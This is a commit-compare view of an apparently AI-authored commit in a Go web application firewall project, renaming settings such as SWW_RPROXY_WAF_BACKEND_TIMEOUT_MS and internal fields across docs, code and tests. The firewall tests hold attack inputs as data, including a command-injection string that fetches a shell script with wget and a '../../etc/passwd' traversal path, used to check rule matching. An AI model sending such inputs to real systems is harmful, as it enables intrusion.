Compare commits

..
1 Commits
Author SHA1 Message Date
clawbot 4be0b6e7fc Rename the settings whose names do not say what they control (closes #234)
check / check (push) Waiting to run
Applies the setting renames of the naming audit under the SWW_WAF_ and
SWW_RPROXY_ prefixes, with sneak's names for the IP reputation cache
time and the two time limits, which now take milliseconds. The rproxy
log field default_disposition becomes waf_backend_no_answer, and
config.Config and config.FromEnvironment become config.WAF and
config.WAFFromEnvironment. Go fields, test names and prose follow. No
aliases; nothing reads the old names.

Model: opus-5-5
2026-11-12 08:22:52 +00:00
25 changed files with 166 additions and 192 deletions

No files matched your search

+5 -5
View File
@@ -454,12 +454,13 @@ asked in the background (see "Answering in time" under "`waf`" in
start, and an invalid value stops the start. Any can be given as a file, as a
`SWW_WAF_` setting can. "`rproxy`" in [`SPEC.md`](../SPEC.md) says what they do.
A time here is a whole number of milliseconds above zero, such as `2000`.
- `SWW_RPROXY_WAF_BACKEND` (required, no default): `waf`'s URL. An `http` or
`https` URL with a host and an optional port, and nothing more. `rproxy`
speaks HTTP/1.1 to it.
- `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS` (default `2000`): how long `rproxy` waits
for `waf`'s answer, to a question and to a report. A time in milliseconds;
never `off`.
for `waf`'s answer, to a question and to a report. A time; never `off`.
- `SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION` (default `allow`): what is done
with a request when `waf` cannot be connected to, does not answer at all, or
does not answer within `SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS`. `allow` passes it
@@ -472,12 +473,11 @@ start, and an invalid value stops the start. Any can be given as a file, as a
- `SWW_RPROXY_MAX_REQUEST_TIME_MS` (default `60000`): how long the visitor may
take to send its request line and headers. It then also bounds, from the end
of the headers, the time until the app has been sent the whole request. A time
in milliseconds or `off`.
or `off`.
- `SWW_RPROXY_MAX_RESPONSE_TIME_MS` (default `1800000`): how long the answer may
take, from the end of the request to its last byte reaching the visitor. An
answer `rproxy` gives itself always has at least 10 seconds to be sent, and so
do the status and headers of the app's answer. A time in milliseconds or
`off`.
do the status and headers of the app's answer. A time or `off`.
- `SWW_RPROXY_LISTEN_ADDR` (default `:8080`): where `rproxy` listens, such as
`:9000`.
- `SWW_RPROXY_UPSTREAM_URL` (default `http://127.0.0.1:8081`): the app. An
+5 -5
View File
@@ -97,7 +97,7 @@ func TestRepeatWindowRunsOut(t *testing.T) {
}
}
func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) {
func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) {
t.Parallel()
params := defaultParams()
@@ -114,12 +114,12 @@ func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) {
}
}
func TestLimitBanPermanentAboveSetFarOffDoesNotOverflow(t *testing.T) {
func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) {
t.Parallel()
// With LimitBanPermanentAbove at 100,000 days, the 14th ban in a row, of
// 3^13 hours, is not above it, and three times as long would not fit in
// a time.Duration. The 15th is permanent.
// With bans of up to 100,000 days, the 14th ban in a row, of 3^13
// hours, is within the maximum, and three times as long would not fit
// in a time.Duration. The 15th is permanent.
params := defaultParams()
params.LimitBanPermanentAbove = 100000 * day
ledger := bans.New(params)
+12 -12
View File
@@ -16,7 +16,7 @@ import (
// rproxy's settings, by name, and their values in these tests.
const (
wafBackend = "SWW_RPROXY_WAF_BACKEND"
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
rproxyTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
rproxyNoAnswer = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
rproxyListen = "SWW_RPROXY_LISTEN_ADDR"
rproxyUpstream = "SWW_RPROXY_UPSTREAM_URL"
@@ -91,7 +91,7 @@ func TestRProxySettingsAreRead(t *testing.T) {
rproxyListen: ":9000",
rproxyUpstream: "http://app:3000",
rproxyTrusted: "192.0.2.0/24",
wafBackendTimeout: "150",
rproxyTimeout: "150",
rproxyNoAnswer: "deny",
rproxyMaxRequest: "1K",
rproxyMaxResponse: off,
@@ -127,12 +127,12 @@ func TestRProxyInvalidSettingsAreRefused(t *testing.T) {
{wafBackend, ""},
{wafBackend, "waf:8080"},
{wafBackend, "http://waf:8080/path"},
{wafBackendTimeout, "0"},
{wafBackendTimeout, "-1"},
{wafBackendTimeout, off},
{wafBackendTimeout, "2s"},
{wafBackendTimeout, "1.25"},
{wafBackendTimeout, "99999999999999999"},
{rproxyTimeout, "0"},
{rproxyTimeout, "-1"},
{rproxyTimeout, off},
{rproxyTimeout, "2s"},
{rproxyTimeout, "1.25"},
{rproxyTimeout, "99999999999999999"},
{rproxyNoAnswer, "maybe"},
{rproxyListen, "8080"},
{rproxyUpstream, "app"},
@@ -220,11 +220,11 @@ func TestRProxyUnreadableSettingFileStopsTheStart(t *testing.T) {
for _, path := range []string{filepath.Join(dir, "missing"), dir} {
_, err := rproxyConfig(map[string]string{
wafBackend: backendURL,
wafBackendTimeout + "_FILE": path,
wafBackend: backendURL,
rproxyTimeout + "_FILE": path,
})
want := wafBackendTimeout + "_FILE: cannot be read: "
want := rproxyTimeout + "_FILE: cannot be read: "
if err == nil || !strings.HasPrefix(err.Error(), want) {
t.Errorf("%s: error %v, want one starting %s", path, err, want)
}
@@ -247,7 +247,7 @@ func TestRProxySettingsAreLoggedByName(t *testing.T) {
}
for _, name := range []string{
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, wafBackendTimeout,
rproxyListen, rproxyUpstream, rproxyTrusted, wafBackend, rproxyTimeout,
rproxyNoAnswer,
rproxyMaxRequest, rproxyMaxResponse, rproxyRequestTime, rproxyAnswerTime,
} {
+5 -5
View File
@@ -531,9 +531,9 @@ func TestTrapPathsAndRefusalsLimitPerMinute(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
paths []string
limit int64
env environment
paths []string
threshold int64
}{
{environment{}, []string{}, 30},
{
@@ -544,14 +544,14 @@ func TestTrapPathsAndRefusalsLimitPerMinute(t *testing.T) {
} {
cfg := fromEnvironment(t, tc.env)
if !slices.Equal(cfg.TrapPaths, tc.paths) ||
cfg.RefusalsLimitPerMinute != tc.limit {
cfg.RefusalsLimitPerMinute != tc.threshold {
t.Errorf(
"%v gave %v and %d, want %v and %d",
tc.env,
cfg.TrapPaths,
cfg.RefusalsLimitPerMinute,
tc.paths,
tc.limit,
tc.threshold,
)
}
}
+18 -18
View File
@@ -337,8 +337,8 @@ func checkExclusions(exclusions string) error {
// CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
// for concurrent use.
type CoreRuleSet struct {
engine coraza.WAF
bodyInspectionSize int64
engine coraza.WAF
bodyLimit int64
// appsByHostname are the names of the apps each hostname serves, by
// hostname in lowercase (SWW_WAF_APPS), nil while SWW_WAF_APPS is unset.
appsByHostname map[string][]string
@@ -346,10 +346,10 @@ type CoreRuleSet struct {
// New returns the Core Rule Set with the five changes and the apps' fixes,
// at params' paranoia level, without the rules it switches off, reading
// request bodies up to params' body inspection size, and with params'
// exclusions file loaded before the Core Rule Set's rules. An exclusions
// file is an error if it cannot be read or does not parse, or if
// checkExclusions refuses it.
// request bodies up to params' limit, and with params' exclusions file
// loaded before the Core Rule Set's rules. An exclusions file is an error
// if it cannot be read or does not parse, or if checkExclusions refuses
// it.
func New(params Params) (*CoreRuleSet, error) {
body := ""
if params.BodyInspectionSize > 0 {
@@ -397,9 +397,9 @@ func New(params Params) (*CoreRuleSet, error) {
}
return &CoreRuleSet{
engine: engine,
bodyInspectionSize: params.BodyInspectionSize,
appsByHostname: params.Apps,
engine: engine,
bodyLimit: params.BodyInspectionSize,
appsByHostname: params.Apps,
}, nil
}
@@ -484,17 +484,17 @@ func (c *CoreRuleSet) Inspect(
// readBody reads body, the body of the request in tx, which has run on
// the request's headers, while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is
// set and the body is of a kind the Core Rule Set reads: form data and
// multipart, of which it reads the first c.bodyInspectionSize bytes, and
// JSON and XML, which it reads only when they are no longer than that,
// since they cannot be read in part.
// readBody reads one byte past c.bodyInspectionSize, to tell which they
// are, gives the Core Rule Set what it reads, and returns what it read and
// the error that ended the reading early, if one did.
// multipart, of which it reads the first c.bodyLimit bytes, and JSON and
// XML, which it reads only when they are no longer than that, since they
// cannot be read in part.
// readBody reads one byte past the limit, to tell which they are, gives
// the Core Rule Set what it reads, and returns what it read and the error
// that ended the reading early, if one did.
func (c *CoreRuleSet) readBody(
tx types.Transaction,
body io.Reader,
) ([]byte, error) {
if c.bodyInspectionSize == 0 {
if c.bodyLimit == 0 {
return nil, nil
}
@@ -511,9 +511,9 @@ func (c *CoreRuleSet) readBody(
return nil, nil
}
read, err := io.ReadAll(io.LimitReader(body, c.bodyInspectionSize+1))
read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1))
if inPart || (err == nil && int64(len(read)) <= c.bodyInspectionSize) {
if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) {
// Coraza holds what it reads of the body in memory, up to the
// limit, so this cannot fail.
_, _, _ = tx.WriteRequestBody(read)
+23 -35
View File
@@ -1089,8 +1089,7 @@ var findMisfiringPasswords = sync.OnceValues(func() ([]string, error) {
const workers, perBody = 16, 10
crs, err := loaderFor(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyInspectionSize: bodyInspectionSize,
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
})()
if err != nil {
return nil, err
@@ -1174,11 +1173,8 @@ func wantRandomPasswordsPass(t *testing.T, r request, name string) {
names := []string{name}
body := passwordBody(t, r, names, misfiring...)
if len(body) > bodyInspectionSize {
t.Fatalf(
"a body of %d bytes is cut at bodyInspectionSize",
len(body),
)
if len(body) > bodyLimit {
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
}
if got, _ := inspectBody(t, crs, r, body); got.Score < threshold {
@@ -2314,9 +2310,9 @@ func TestWordPressExclusionsAreNarrow(t *testing.T) {
wantBody(t, crs, signIn, body, matched(930120), body)
}
// bodyInspectionSize is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the
// tests that read bodies.
const bodyInspectionSize = 8 << 10
// bodyLimit is SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE in the tests that
// read bodies.
const bodyLimit = 8 << 10
// The Content-Type headers of the kinds of body the Core Rule Set reads.
const (
@@ -2339,13 +2335,12 @@ const pathTraversal = "../../etc/passwd"
const shellCommand = "; wget http://example.com/x.sh"
// readingBodies returns the Core Rule Set as sww runs it by
// default, but reading bodies up to bodyInspectionSize.
// default, but reading bodies up to bodyLimit.
func readingBodies(t *testing.T) *coreruleset.CoreRuleSet {
t.Helper()
return shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyInspectionSize: bodyInspectionSize,
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
})
}
@@ -2419,7 +2414,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
pad := strings.Repeat("a", bodyInspectionSize)
pad := strings.Repeat("a", bodyLimit)
for _, tc := range []struct{ header, attackFirst, attackLast string }{
{
@@ -2432,20 +2427,20 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
},
} {
wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100),
tc.attackFirst[:bodyInspectionSize+1])
tc.attackFirst[:bodyLimit+1])
wantBody(
t,
crs,
post(tc.header),
tc.attackLast,
coreruleset.Result{},
tc.attackLast[:bodyInspectionSize+1],
tc.attackLast[:bodyLimit+1],
)
}
// To the byte: a system file's path is found when it ends at the limit,
// and not when its last letter is past it, which is still read.
atLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize)
atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit)
wantBody(
t,
crs,
@@ -2455,7 +2450,7 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) {
atLimit,
)
pastLimit := padded("pad=", "&q=/etc/passwd", bodyInspectionSize+1)
pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1)
wantBody(
t,
crs,
@@ -2475,10 +2470,10 @@ func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) {
{jsonBody, `{"q":"` + injection + `","pad":"`, `"}`},
{xmlBody, "<r><q>" + injection + "</q><pad>", "</pad></r>"},
} {
fits := padded(tc.head, tc.tail, bodyInspectionSize)
fits := padded(tc.head, tc.tail, bodyLimit)
wantBody(t, crs, post(tc.header), fits, matched(942100), fits)
larger := padded(tc.head, tc.tail, bodyInspectionSize+1)
larger := padded(tc.head, tc.tail, bodyLimit+1)
wantBody(
t,
crs,
@@ -2535,7 +2530,7 @@ func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(
// Whatever its size: a JSON body larger than the limit is not read, but
// Content-Encoding on it is refused all the same.
larger := strings.Repeat("a", bodyInspectionSize+1)
larger := strings.Repeat("a", bodyLimit+1)
wantBody(t, crs, post(jsonBody, gzip), larger, matched(920450), larger)
// It is allowed on a body of any other kind, and on every body while no
@@ -2855,7 +2850,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
// that has no colon, before the attack. They do so padded past the
// limit too, which cuts them in the padding.
noColon := "--b\r\nContent-Disposition form-data; name=\"a\"\r\n\r\n1\r\n"
pad := field("pad", strings.Repeat("a", bodyInspectionSize))
pad := field("pad", strings.Repeat("a", bodyLimit))
for _, tc := range []struct{ header, head string }{
{multipart + "; boundary=c", ""},
@@ -2873,7 +2868,7 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) {
body = tc.head + field("q", injection) + pad + end
wantBody(t, crs, post(tc.header), body, matched(900440, 900450),
body[:bodyInspectionSize+1])
body[:bodyLimit+1])
}
}
@@ -2886,10 +2881,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
cut := "--b\r\nContent-Di"
first := field(
"pad",
strings.Repeat(
"a",
bodyInspectionSize-len(field("pad", ""))-len(cut),
),
strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)),
)
body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end
@@ -2899,7 +2891,7 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) {
post(multipart),
body,
matched(900440, 900450),
body[:bodyInspectionSize+1],
body[:bodyLimit+1],
)
}
@@ -2918,15 +2910,12 @@ func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(
for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} {
first := field(
"pad",
strings.Repeat(
"a",
bodyInspectionSize-len(field("pad", ""))-cut,
),
strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut),
)
body := first + field("q", "1") + end
wantBody(t, crs, post(multipart), body, matched(900440, 900450),
body[:bodyInspectionSize+1])
body[:bodyLimit+1])
}
}
@@ -2941,8 +2930,7 @@ func TestCorazaWritesNoFile(t *testing.T) {
// The test loads its own Core Rule Set, since loading is part of what
// it checks.
crs, err := coreruleset.New(coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyInspectionSize: bodyInspectionSize,
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
})
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
+2 -4
View File
@@ -76,8 +76,7 @@ func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyInspectionSize: bodyInspectionSize,
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
Apps: map[string][]string{
giteaHost: {gitea},
otherHost: {mediawiki},
@@ -121,8 +120,7 @@ func TestMediaWikiPasswordFixesApplyOnlyToAHostnameThatServesMediaWiki(
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyInspectionSize: bodyInspectionSize,
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
Apps: map[string][]string{
giteaHost: {gitea},
otherHost: {mediawiki},
+1 -2
View File
@@ -102,8 +102,7 @@ func TestNextcloudPasswordInValuePassesOnlyOnHostnamesThatServeNextcloud(
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyInspectionSize: bodyInspectionSize,
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyInspectionSize: bodyLimit,
Apps: map[string][]string{
giteaHost: {gitea},
otherHost: {nextcloud},
+1 -1
View File
@@ -144,7 +144,7 @@ func wantRecordedRequestsPass(t *testing.T, name, app string) {
defaults := servingApps(t, apps)
bodies := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
BodyInspectionSize: bodyInspectionSize, Apps: apps,
BodyInspectionSize: bodyLimit, Apps: apps,
})
for _, recorded := range requests {
+2 -5
View File
@@ -456,11 +456,8 @@ func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
},
} {
body := passwordBody(t, sent.r, sent.names, hashes...)
if len(body) > bodyInspectionSize {
t.Fatalf(
"a body of %d bytes is cut at bodyInspectionSize",
len(body),
)
if len(body) > bodyLimit {
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
}
if got, _ := inspectBody(t, crs, sent.r, body); len(
+17 -19
View File
@@ -13,15 +13,14 @@ const other = "other"
// busiest are the metrics by one thing the lookup finds of the client,
// its country or its AS number, for requests whose client's is known.
// The busiestCount busiest countries or AS numbers, by their requests
// since the start, have series of their own, and the others are counted
// under other, so that there are never more than busiestCount + 1 series.
// One that drops out of the busiest loses its series, and its next
// requests are counted under other; one that becomes one of them gets a
// series that counts from then on. Each series therefore only ever goes
// up.
// The topN busiest countries or AS numbers, by their requests since the
// start, have series of their own, and the others are counted under
// other, so that there are never more than topN + 1 series. One that
// drops out of the busiest loses its series, and its next requests are
// counted under other; one that becomes one of them gets a series that
// counts from then on. Each series therefore only ever goes up.
type busiest struct {
busiestCount int
topN int
requests *prometheus.CounterVec
requestBytes *prometheus.CounterVec
@@ -39,9 +38,9 @@ type busiest struct {
}
// newCountries returns the metrics by country, with series of their own
// for the busiestCount busiest countries.
func newCountries(busiestCount int) *busiest {
countries := newBusiest(busiestCount, "country", "the client's country")
// for the topN busiest countries.
func newCountries(topN int) *busiest {
countries := newBusiest(topN, "country", "the client's country")
countries.refused = counterVec(
"sww_country_list_refusals_total",
"Requests SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES refused, by the client's country.",
@@ -52,19 +51,18 @@ func newCountries(busiestCount int) *busiest {
}
// newASNs returns the metrics by AS number, with series of their own for
// the busiestCount busiest AS numbers.
func newASNs(busiestCount int) *busiest {
return newBusiest(busiestCount, "asn", "the client's AS number")
// the topN busiest AS numbers.
func newASNs(topN int) *busiest {
return newBusiest(topN, "asn", "the client's AS number")
}
// newBusiest returns the metrics by label, which is described as
// description, with series of their own for the busiestCount busiest
// values.
func newBusiest(busiestCount int, label, description string) *busiest {
// description, with series of their own for the topN busiest values.
func newBusiest(topN int, label, description string) *busiest {
by := []string{label}
return &busiest{
busiestCount: busiestCount,
topN: topN,
requests: counterVec("sww_"+label+"_requests_total",
"Requests, by "+description+".", by),
requestBytes: counterVec("sww_"+label+"_request_bytes_total",
@@ -133,7 +131,7 @@ func (b *busiest) label(value string) string {
return value
}
if len(b.top) < b.busiestCount {
if len(b.top) < b.topN {
b.top[value] = true
return value
+6 -6
View File
@@ -61,12 +61,12 @@ type Metrics struct {
}
// New returns the metrics, with the Go runtime's and the process's own.
// busiestCount is how many countries and how many AS numbers get series of
// their own (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS). Every metric
// carries instanceName (SWW_WAF_INSTANCE_NAME) as its label instance.
// topN is how many countries and how many AS numbers get series of their
// own (SWW_WAF_METRICS_BUSIEST_COUNTRIES_AND_ASNS). Every metric carries instanceName
// (SWW_WAF_INSTANCE_NAME) as its label instance.
//
//nolint:funlen // a few lines for each metric, a list that grows with them
func New(busiestCount int, instanceName string) *Metrics {
func New(topN int, instanceName string) *Metrics {
byStatus := []string{"status_class", "action"}
byFile := []string{"file"}
registry := prometheus.NewRegistry()
@@ -114,8 +114,8 @@ func New(busiestCount int, instanceName string) *Metrics {
"and the rule's id.",
[]string{"mode", "rule_id"},
),
countries: newCountries(busiestCount),
asns: newASNs(busiestCount),
countries: newCountries(topN),
asns: newASNs(topN),
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
Name: "sww_geojs_requests_total",
Help: "Requests to GeoJS.",
+5 -5
View File
@@ -263,10 +263,10 @@ func (l *Limiter) CountBytes(
// CountRefusal counts a request from client at now that sww
// refused after a rule file or Core Rule Set match or for a missing or
// wrong token, and reports whether the client's refusals in the minute
// that ends at now, this one included, are more than limit, which breaks
// the refusal limit, and the hit.
// that ends at now, this one included, are more than threshold, which
// breaks the refusal limit, and the hit.
func (l *Limiter) CountRefusal(
client netip.Prefix, now time.Time, limit int64,
client netip.Prefix, now time.Time, threshold int64,
) (Hit, bool) {
l.mu.Lock()
defer l.mu.Unlock()
@@ -275,11 +275,11 @@ func (l *Limiter) CountRefusal(
hit := Hit{
Kind: KindRefusals,
Window: "minute",
Limit: limit,
Limit: threshold,
Count: count,
}
return hit, count > float64(limit)
return hit, count > float64(threshold)
}
// Reset sets client's counts of requests, of bytes and of refusals in
+4 -4
View File
@@ -351,7 +351,7 @@ func TestResetSetsTheBytesBackToZero(t *testing.T) {
wantBytesCount(t, limiter, client, start, 1000, "")
}
func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
func TestRefusalsOverTheThresholdInAMinuteBreakTheRefusalLimit(
t *testing.T,
) {
t.Parallel()
@@ -363,7 +363,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
for range limit {
if _, over := limiter.CountRefusal(client, start, limit); over {
t.Fatalf(
"a refusal within the limit of %d broke the refusal limit",
"a refusal within the threshold of %d broke the refusal limit",
limit,
)
}
@@ -376,7 +376,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
}
if !over || hit != want {
t.Errorf(
"one over the limit broke it: %t, with %+v; want %+v",
"one over the threshold broke it: %t, with %+v; want %+v",
over,
hit,
want,
@@ -384,7 +384,7 @@ func TestRefusalsOverTheLimitInAMinuteBreakTheRefusalLimit(
}
// Half a minute into the next, half of those four still count, 2, and
// this one: 3, within the limit.
// this one: 3, within the threshold.
hit, over = limiter.CountRefusal(
client,
start.Add(time.Minute+time.Minute/2),
+3 -3
View File
@@ -62,9 +62,9 @@ type Params struct {
// RootCAs are the certificates a SchemeTLS endpoint's certificate
// must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil for the host's.
RootCAs *x509.CertPool
// BufferLines is the most lines held while they wait to be sent
// Buffer is the most lines held while they wait to be sent
// (SWW_WAF_LOG_REMOTE_BUFFER_LINES).
BufferLines int
Buffer int
// Facility is the number of the records' syslog facility
// (SWW_WAF_LOG_REMOTE_FACILITY), and AppName their APP-NAME
// (SWW_WAF_LOG_REMOTE_APP_NAME).
@@ -106,7 +106,7 @@ func New(params Params) *Sender {
// id and the structured data have no value.
beforeTime: "<" + strconv.Itoa(priority) + ">1 ",
afterTime: " " + hostname + " " + params.AppName + " - - - ",
records: make(chan []byte, params.BufferLines),
records: make(chan []byte, params.Buffer),
}
}
+5 -5
View File
@@ -129,7 +129,7 @@ func TestStalledEndpointHoldsUpNoWriteAndOldestRecordsAreDropped(
endpoint := listen(t)
endpointParams := params(remotelog.SchemeTLS, endpoint.Addr())
endpointParams.RootCAs = roots
endpointParams.BufferLines = 3
endpointParams.Buffer = 3
sender, _, _ := run(t, endpointParams)
// The sender connects, and its TLS handshake waits for an answer
@@ -402,10 +402,10 @@ func (o *output) text() string {
// appName.
func params(scheme string, addr net.Addr) remotelog.Params {
return remotelog.Params{
URL: &url.URL{Scheme: scheme, Host: addr.String()},
BufferLines: 10,
Facility: local0,
AppName: appName,
URL: &url.URL{Scheme: scheme, Host: addr.String()},
Buffer: 10,
Facility: local0,
AppName: appName,
}
}
+21 -21
View File
@@ -44,13 +44,13 @@ const (
// The settings the tests set.
const (
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
noAnswerSetting = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE"
maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE"
maxRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
maxResponseTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
timeoutSetting = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
noAnswerSetting = "SWW_RPROXY_WAF_BACKEND_NO_ANSWER_DISPOSITION"
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
maxRequestSize = "SWW_RPROXY_MAX_REQUEST_SIZE"
maxResponseSize = "SWW_RPROXY_MAX_RESPONSE_SIZE"
maxRequestTime = "SWW_RPROXY_MAX_REQUEST_TIME_MS"
maxResponseTime = "SWW_RPROXY_MAX_RESPONSE_TIME_MS"
)
// The headers the tests set and look at.
@@ -1111,7 +1111,7 @@ func TestAnAnswerOf1MiBGoesToTheVisitor(t *testing.T) {
_, _ = w.Write(make([]byte, size))
})
addr, _ := startRProxy(t, standIn.URL, nowhere, map[string]string{
wafBackendTimeout: "60000",
timeoutSetting: "60000",
})
got := get(t, addr, "/")
@@ -1216,8 +1216,8 @@ func TestAnAnswerThatCannotBePassedOnIsAnswered502(t *testing.T) {
backend(t),
app.URL,
map[string]string{
wafBackendTimeout: "60000",
noAnswerSetting: setting,
timeoutSetting: "60000",
noAnswerSetting: setting,
},
)
@@ -1245,7 +1245,7 @@ func TestAnAnswerThatCannotBePassedOnGetsNoReport(t *testing.T) {
standIn := startWAF(t, overOneMiB(dispositionDeny))
addr, out := startRProxy(t, standIn.URL, nowhere, map[string]string{
wafBackendTimeout: "60000",
timeoutSetting: "60000",
})
if got := get(t, addr, "/"); got.status != http.StatusBadGateway {
@@ -1271,7 +1271,7 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
backend(t),
app.URL,
map[string]string{
wafBackendTimeout: "200",
timeoutSetting: "200",
},
)
@@ -1298,8 +1298,8 @@ func TestWithoutAnAnswerTheWAFBackendNoAnswerDispositionDecides(
backend(t),
app.URL,
map[string]string{
wafBackendTimeout: "200",
noAnswerSetting: dispositionDeny,
timeoutSetting: "200",
noAnswerSetting: dispositionDeny,
},
)
@@ -1341,8 +1341,8 @@ func TestAVisitorThatGoesAwayWhileWAFIsAskedGetsNoDisposition(t *testing.T) {
standIn.URL,
app.URL,
map[string]string{
wafBackendTimeout: "60000",
noAnswerSetting: disposition,
timeoutSetting: "60000",
noAnswerSetting: disposition,
},
)
@@ -1387,7 +1387,7 @@ func TestSendsNoReportWithoutAnAnswer(t *testing.T) {
})
app := startApp(t, greet)
addr, out := startRProxy(t, standIn.URL, app.URL, map[string]string{
wafBackendTimeout: "200",
timeoutSetting: "200",
})
wantGreeting(t, get(t, addr, "/"))
@@ -1451,7 +1451,7 @@ func TestTheVisitorDoesNotWaitForTheReport(t *testing.T) {
app := startApp(t, greet)
addr, _ := startRProxy(t, backend, app.URL, map[string]string{
wafBackendTimeout: "60000",
timeoutSetting: "60000",
})
t.Cleanup(func() { close(release) })
@@ -1494,7 +1494,7 @@ func TestAReportWAFLeavesUnansweredIsDroppedAtTheTimeLimit(t *testing.T) {
// The time limit is long enough for a loaded host to answer the question before
// it runs out.
addr, out := startRProxy(t, backend, app.URL, map[string]string{
wafBackendTimeout: "3000",
timeoutSetting: "3000",
})
t.Cleanup(func() { close(release) })
@@ -1524,7 +1524,7 @@ func TestAReportAnswered101IsDroppedAtOnce(t *testing.T) {
backend := startWAFAnsweringReports(t, allow, switchAndHold)
app := startApp(t, greet)
addr, out := startRProxy(t, backend, app.URL, map[string]string{
wafBackendTimeout: "60000",
timeoutSetting: "60000",
})
wantGreeting(t, get(t, addr, "/"))
@@ -1612,7 +1612,7 @@ func TestWaitForReportsWaitsForAReportBeingSent(t *testing.T) {
backend.URL,
app.URL,
map[string]string{
wafBackendTimeout: "5000",
timeoutSetting: "5000",
},
)
+5 -5
View File
@@ -31,8 +31,8 @@ const (
rproxyListenAddr = "SWW_RPROXY_LISTEN_ADDR"
// rproxyUpstreamURL is the setting that says where the app is.
rproxyUpstreamURL = "SWW_RPROXY_UPSTREAM_URL"
// wafBackendTimeout is the setting that says how long rproxy waits for waf.
wafBackendTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
// rproxyTimeout is the setting that says how long rproxy waits for waf.
rproxyTimeout = "SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS"
// bannedProbe is a path the default rule file bans a client for.
bannedProbe = "/.env"
// otherClient is a client the tests do not ban.
@@ -692,7 +692,7 @@ func TestRProxyStoppingWaitsForAReportBeingSent(t *testing.T) {
env := map[string]string{
rproxyListenAddr: localhost + ":0",
"SWW_RPROXY_UPSTREAM_URL": startApp(t),
wafBackendTimeout: "60000",
rproxyTimeout: "60000",
wafBackend: backend.URL,
}
out := &output{}
